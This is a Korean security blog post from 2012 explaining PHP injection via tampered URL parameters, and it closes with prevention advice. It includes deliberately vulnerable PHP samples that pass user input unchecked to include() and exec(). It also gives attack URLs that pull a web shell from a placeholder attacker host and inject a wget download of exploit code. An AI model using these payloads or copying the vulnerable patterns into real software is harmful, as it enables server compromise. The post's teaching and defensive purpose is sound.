선 밖에 선 자유인

파라미터 변조를 이용한 공격(PHP Injection) 본문

IT/Security

파라미터 변조를 이용한 공격(PHP Injection)

Hotman 2012. 1. 16. 15:58
- include() 함수를 이용

read.php 
------------------------------------------------

<html>
<body>
<h1>php injection test</h1>
<?
        include $_GET[param];
?>
</body>
</html>

------------------------------------------------

http://<victim IP>/board/read.php?param=xxxx 와 같이 read.php가 입력값을  
include() 함수를 통해 전달 받게 되면 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함 가능하다.

이 때 해당 함수와 설정 오류로 인해 원격지 파일을 로컬 파일처럼 호출이 가능하다.

Attack가 자신의 시스템에 공격을 위한 웹 쉘 등을 업로드 한 후 victim 서버에 다음과 같은 형태의 request를 보내면

http://<victim IP>/board/read.php?param=http://<Attacker IP>/attack.php
공격자 시스템의 attack.php가 원격에서 실행되고 공격이 가능하다. 

- exec() 함수를 이용한 방법
 
------------exec.php------------

<html>
<body>
<h1>exec() test </h1>
<?php
$yourname = $_GET['name'];
exec("echo $yourname");
?>
</body>
</html>

----------------------------------
exec() 함수의 경우 파일 이름 뿐이 아닌 명령어 실행이 가능하다.

http://<victim IP>/board/exec.php?name=attacker;wget http://<attacker IP>/exploit.c 


** PHP 설정의 allow_url_fopen() 함수는 외부 파라미터를 실행 시킬 수 있기 때문에 Off 로 설정해 주어야 한다.

** 각 언어 별 시스템 명령어 삽입을 악용할 수 있는 스크립트, 프로그래밍 언어의 함수들 

 

PHP

- require() 

- include() 

- eval() 

- preg_replace() (/e 옵션과 함께 사용

- exec() 

- passthru() 

- `` (backticks) 

- system() 

- popen() 

Shell script

- 모두 실행 가능 

perl

- open() 

- sysopen() 

- glob() 

- system() 

- '' (backticks) 

- eval() 

java

- System.* (특별히 System.Runtime) 

C / C++

- system() 

- exec**() 

(strcpy strcat sprintf vsprintf gets strlen (특별히 null 바이트와 함께 사용될 경우)

scanf() fscanf sscanf vscanf vsscanf vfscanf realpath getopt getpass streadd strecpy strtrns) 

Python

- exec() 

- eval() 

- execfile() 

- compile() 

- input() 

 

[예방 방법] 

- 반드시 필요하다면 모든 시스템 명령을 사용하는 모든 사용자의 입력값을 점검한다. 

- 점검되지 않은 사용자 입력을 시스템 명령으로 전달하지 않는다. 

- 점검되지 않은 사용자 입력을 파이프(|)로 전달하지 않는다. 

- 점검되지 않은 사용자 입력을 perl의 open() 명령으로 전달하지 않는다. 

- 점검되지 않은 사용자 입력을 C 언어와 PHP의 popen() 명령으로 전달하지 않는다. 

- 점검되지 않은 사용자 입력을 ``(backticks)  함께 사용하지 않는다. 

- 운영체제의 시스템 명령이 사용자 입력에 존재하는지 점검한다. 

- 모든 웹 애플리케이션엔 쉘 스크립트를 허용하지 않는다. 

  

 

 

Comments